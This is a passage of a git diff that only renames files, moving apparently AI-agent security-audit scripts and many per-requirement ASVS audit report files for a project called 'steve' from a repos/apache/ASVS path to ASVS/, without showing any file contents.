rename to ASVS/agents/download_github_repo_to_data_store.py
diff --git a/repos/apache/ASVS/agents/orchestrate_asvs_audit_to_github.py b/ASVS/agents/orchestrate_asvs_audit_to_github.py
similarity index 100%
rename from repos/apache/ASVS/agents/orchestrate_asvs_audit_to_github.py
rename to ASVS/agents/orchestrate_asvs_audit_to_github.py
diff --git a/repos/apache/ASVS/agents/run_asvs_security_audit.py b/ASVS/agents/run_asvs_security_audit.py
similarity index 100%
rename from repos/apache/ASVS/agents/run_asvs_security_audit.py
rename to ASVS/agents/run_asvs_security_audit.py
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/api_and_mass_assignment/15.3.1.md b/ASVS/reports/steve/v3/d0aa7e9/api_and_mass_assignment/15.3.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/api_and_mass_assignment/15.3.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/api_and_mass_assignment/15.3.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/api_and_mass_assignment/15.3.2.md b/ASVS/reports/steve/v3/d0aa7e9/api_and_mass_assignment/15.3.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/api_and_mass_assignment/15.3.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/api_and_mass_assignment/15.3.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/api_and_mass_assignment/15.3.3.md b/ASVS/reports/steve/v3/d0aa7e9/api_and_mass_assignment/15.3.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/api_and_mass_assignment/15.3.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/api_and_mass_assignment/15.3.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/api_and_mass_assignment/15.3.4.md b/ASVS/reports/steve/v3/d0aa7e9/api_and_mass_assignment/15.3.4.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/api_and_mass_assignment/15.3.4.md
rename to ASVS/reports/steve/v3/d0aa7e9/api_and_mass_assignment/15.3.4.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/api_and_mass_assignment/15.3.5.md b/ASVS/reports/steve/v3/d0aa7e9/api_and_mass_assignment/15.3.5.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/api_and_mass_assignment/15.3.5.md
rename to ASVS/reports/steve/v3/d0aa7e9/api_and_mass_assignment/15.3.5.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/api_and_mass_assignment/15.3.6.md b/ASVS/reports/steve/v3/d0aa7e9/api_and_mass_assignment/15.3.6.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/api_and_mass_assignment/15.3.6.md
rename to ASVS/reports/steve/v3/d0aa7e9/api_and_mass_assignment/15.3.6.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/api_and_mass_assignment/15.3.7.md b/ASVS/reports/steve/v3/d0aa7e9/api_and_mass_assignment/15.3.7.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/api_and_mass_assignment/15.3.7.md
rename to ASVS/reports/steve/v3/d0aa7e9/api_and_mass_assignment/15.3.7.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.1.1.md b/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.1.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.1.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.1.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.1.2.md b/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.1.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.1.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.1.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.2.1.md b/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.2.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.2.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.2.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.2.2.md b/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.2.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.2.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.2.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.2.3.md b/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.2.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.2.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.2.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.3.1.md b/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.3.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.3.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.3.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.3.2.md b/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.3.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.3.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.3.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.3.3.md b/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.3.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.3.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.3.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.3.4.md b/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.3.4.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.3.4.md
rename to ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.3.4.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.3.5.md b/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.3.5.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.3.5.md
rename to ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.3.5.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.1.md b/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.10.md b/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.10.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.10.md
rename to ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.10.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.11.md b/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.11.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.11.md
rename to ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.11.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.12.md b/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.12.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.12.md
rename to ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.12.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.13.md b/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.13.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.13.md
rename to ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.13.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.14.md b/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.14.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.14.md
rename to ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.14.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.15.md b/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.15.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.15.md
rename to ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.15.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.16.md b/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.16.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.16.md
rename to ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.16.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.2.md b/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.3.md b/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.4.md b/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.4.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.4.md
rename to ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.4.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.5.md b/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.5.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.5.md
rename to ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.5.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.6.md b/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.6.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.6.md
rename to ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.6.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.7.md b/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.7.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.7.md
rename to ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.7.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.8.md b/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.8.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.8.md
rename to ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.8.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.9.md b/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.9.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.9.md
rename to ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.4.9.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.5.1.md b/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.5.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.5.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.5.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.5.2.md b/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.5.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.5.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.5.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.5.3.md b/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.5.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.5.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.5.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.5.4.md b/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.5.4.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.5.4.md
rename to ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.5.4.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.5.5.md b/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.5.5.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.5.5.md
rename to ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.5.5.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.6.1.md b/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.6.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.6.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.6.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.6.2.md b/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.6.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.6.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.6.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.7.1.md b/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.7.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.7.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.7.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.7.2.md b/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.7.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.7.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.7.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.7.3.md b/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.7.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.7.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/authentication_and_session/10.7.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/authorization_and_access_control/2.3.1.md b/ASVS/reports/steve/v3/d0aa7e9/authorization_and_access_control/2.3.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/authorization_and_access_control/2.3.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/authorization_and_access_control/2.3.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/authorization_and_access_control/2.3.2.md b/ASVS/reports/steve/v3/d0aa7e9/authorization_and_access_control/2.3.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/authorization_and_access_control/2.3.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/authorization_and_access_control/2.3.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/authorization_and_access_control/2.3.3.md b/ASVS/reports/steve/v3/d0aa7e9/authorization_and_access_control/2.3.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/authorization_and_access_control/2.3.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/authorization_and_access_control/2.3.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/authorization_and_access_control/2.3.4.md b/ASVS/reports/steve/v3/d0aa7e9/authorization_and_access_control/2.3.4.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/authorization_and_access_control/2.3.4.md
rename to ASVS/reports/steve/v3/d0aa7e9/authorization_and_access_control/2.3.4.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/authorization_and_access_control/2.3.5.md b/ASVS/reports/steve/v3/d0aa7e9/authorization_and_access_control/2.3.5.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/authorization_and_access_control/2.3.5.md
rename to ASVS/reports/steve/v3/d0aa7e9/authorization_and_access_control/2.3.5.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/browser_security_headers/3.1.1.md b/ASVS/reports/steve/v3/d0aa7e9/browser_security_headers/3.1.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/browser_security_headers/3.1.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/browser_security_headers/3.1.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch01_general/1.4.1.md b/ASVS/reports/steve/v3/d0aa7e9/ch01_general/1.4.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch01_general/1.4.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch01_general/1.4.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch01_general/1.4.2.md b/ASVS/reports/steve/v3/d0aa7e9/ch01_general/1.4.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch01_general/1.4.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch01_general/1.4.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch01_general/1.4.3.md b/ASVS/reports/steve/v3/d0aa7e9/ch01_general/1.4.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch01_general/1.4.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch01_general/1.4.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.2.1.md b/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.2.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.2.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.2.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.2.2.md b/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.2.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.2.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.2.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.2.3.md b/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.2.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.2.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.2.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.3.1.md b/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.3.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.3.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.3.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.3.2.md b/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.3.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.3.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.3.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.3.3.md b/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.3.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.3.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.3.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.3.4.md b/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.3.4.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.3.4.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.3.4.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.3.5.md b/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.3.5.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.3.5.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.3.5.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.4.1.md b/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.4.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.4.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.4.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.4.2.md b/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.4.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.4.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.4.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.4.3.md b/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.4.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.4.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.4.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.4.4.md b/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.4.4.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.4.4.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.4.4.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.4.5.md b/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.4.5.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.4.5.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.4.5.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.4.6.md b/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.4.6.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.4.6.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.4.6.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.4.7.md b/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.4.7.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.4.7.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.4.7.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.4.8.md b/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.4.8.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.4.8.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.4.8.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.5.1.md b/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.5.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.5.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.5.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.5.2.md b/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.5.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.5.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.5.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.5.3.md b/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.5.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.5.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.5.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.5.4.md b/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.5.4.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.5.4.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.5.4.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.5.5.md b/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.5.5.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.5.5.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.5.5.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.5.6.md b/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.5.6.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.5.6.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.5.6.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.5.8.md b/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.5.8.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.5.8.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.5.8.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.6.1.md b/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.6.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.6.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.6.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.7.1.md b/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.7.1.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.7.1.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.7.1.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.7.2.md b/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.7.2.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.7.2.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.7.2.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.7.3.md b/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.7.3.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.7.3.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.7.3.md
diff --git a/repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.7.4.md b/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.7.4.md
similarity index 100%
rename from repos/apache/ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.7.4.md
rename to ASVS/reports/steve/v3/d0aa7e9/ch03_general/3.7.4.md
